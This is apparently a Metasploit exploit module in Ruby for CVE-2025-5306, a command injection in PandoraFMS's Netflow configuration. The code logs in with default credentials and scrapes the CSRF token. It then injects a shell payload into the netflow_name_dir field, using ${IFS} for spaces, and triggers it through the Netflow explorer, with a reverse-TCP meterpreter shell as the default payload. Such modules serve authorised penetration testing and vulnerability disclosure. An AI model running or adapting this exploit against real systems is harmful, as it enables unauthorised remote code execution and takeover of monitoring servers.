## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'PandoraFMS Netflow Authenticated Remote Code Execution', 'Description' => %q{ This module exploits a command injection vulnerability in Netflow component of PandoraFMS. The module requires a set of user credentials to modify Netflow settings. Also, Netflow binaries have to be present on the system. }, 'License' => MSF_LICENSE, 'Author' => ['msutovsky-r7'], # researcher, module dev 'References' => [ [ 'CVE', '2025-5306'] ], 'Platform' => ['unix', 'linux'], 'Arch' => [ ARCH_CMD ], 'Privileged' => false, 'Targets' => [ [ 'Linux/Unix Command', { 'Platform' => ['unix', 'linux'], 'Arch' => [ ARCH_CMD] } ] ], 'DisclosureDate' => '2025-12-30', 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 80, 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', 'FETCH_WRITABLE_DIR' => '/tmp' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to PandoraFMS application', '/pandora_console/']), OptString.new('USERNAME', [true, 'Username to PandoraFMS applicaton', 'admin']), OptString.new('PASSWORD', [true, 'Password to PandoraFMS application', 'pandora']) ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'login' => '1' }, 'keep_cookies' => true }) return Msf::Exploit::CheckCode::Unknown('Received unexpected response') unless res&.code == 200 html = res.get_html_document return Msf::Exploit::CheckCode::Unknown('Response seems to be empty') unless html version = html.at('div[@id="ver_num"]')&.text @csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil) return Msf::Exploit::CheckCode::Safe('Application is not probably PandoraFMS') if version.blank? version = version[1..]&.sub('NG', '') vprint_warning('Token was not parsed, will try again') unless @csrf_token vprint_status("Version #{version} detected") return Exploit::CheckCode::Appears("Vulnerable PandoraFMS version #{version} detected") if Rex::Version.new(version).between?(Rex::Version.new('7.0.774'), Rex::Version.new('7.0.777.10')) Msf::Exploit::CheckCode::Safe("Running version #{version}, which is not vulnerable") end def get_csrf_token res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'login' => '1' }, 'keep_cookies' => true }) fail_with Failure::UnexpectedReply, 'Recevied unexpected response' unless res&.code == 200 html = res.get_html_document fail_with Failure::UnexpectedReply, 'Empty response received' unless html @csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil) fail_with Failure::NotFound, 'Could not found CSRF token' unless @csrf_token end ## # Checks whether login response was valid and successful. It check whether response code is 200 an if body contains either of following values - id="welcome-icon-header", id="welcome-panel" or "godmode" ## def login_successful?(res) res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode') end def login res = send_request_cgi!({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => true, 'vars_get' => { 'login' => '1' }, 'vars_post' => { 'nick' => datastore['USERNAME'], 'pass' => datastore['PASSWORD'], 'login_button' => "Let's go", 'csrf_code' => @csrf_token } }) fail_with Failure::NoAccess, 'Invalid credentials' unless login_successful?(res) end def valid_netflow_options?(opts) opts.each do |item| return false if item.blank? end end def configure_netflow res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' } }) fail_with Failure::NotFound, 'Netflow might not be enabled' unless res&.code == 200 html = res.get_html_document fail_with Failure::UnexpectedReply, 'Unexpected response when trying to configure Netflow' unless html netflow_daemon_value = html.at('input[@name="netflow_daemon"]')&.attributes&.fetch('value', nil) netflow_nfdump_value = html.at('input[@name="netflow_nfdump"]')&.attributes&.fetch('value', nil) html.at('input[@name="netflow_nfexpire"]')&.attributes&.fetch('value', nil) netflow_max_resolution_value = html.at('input[@name="netflow_max_resolution"]')&.attributes&.fetch('value', nil) netflow_disable_custom_lvfilters_sent_value = html.at('input[@name="netflow_disable_custom_lvfilters_sent"]')&.attributes&.fetch('value', nil) netflow_max_lifetime_value = html.at('input[@name="netflow_max_lifetime"]')&.attributes&.fetch('value', nil) netflow_interval_value = html.at('select[@name="netflow_interval"]//option[@selected="selected"]')&.attributes&.fetch('value', nil) request_data = { 'netflow_daemon' => netflow_daemon_value, 'netflow_nfdump' => netflow_nfdump_value, 'netflow_max_resolution' => netflow_max_resolution_value, 'netflow_disable_custom_lvfilters_sent' => netflow_disable_custom_lvfilters_sent_value, 'netflow_max_lifetime' => netflow_max_lifetime_value, 'netflow_interval' => netflow_interval_value } fail_with Failure::Unknown, 'Failed to get existing Netflow configuration' unless valid_netflow_options?(request_data) request_data.merge!({ 'netflow_name_dir' => ';' + payload.encoded.gsub(' ', '${IFS}') + '#', 'update_config' => '1', 'upd_button' => 'Update' }) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' }, 'vars_post' => request_data }) fail_with Failure::PayloadFailed, 'Failed to configure Netflow' unless res&.code == 200 end def trigger_payload send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'sec' => 'network_traffic', 'sec2' => 'operation/netflow/netflow_explorer' } }) end def exploit # do we have csrf token already get_csrf_token unless @csrf_token login configure_netflow trigger_payload end end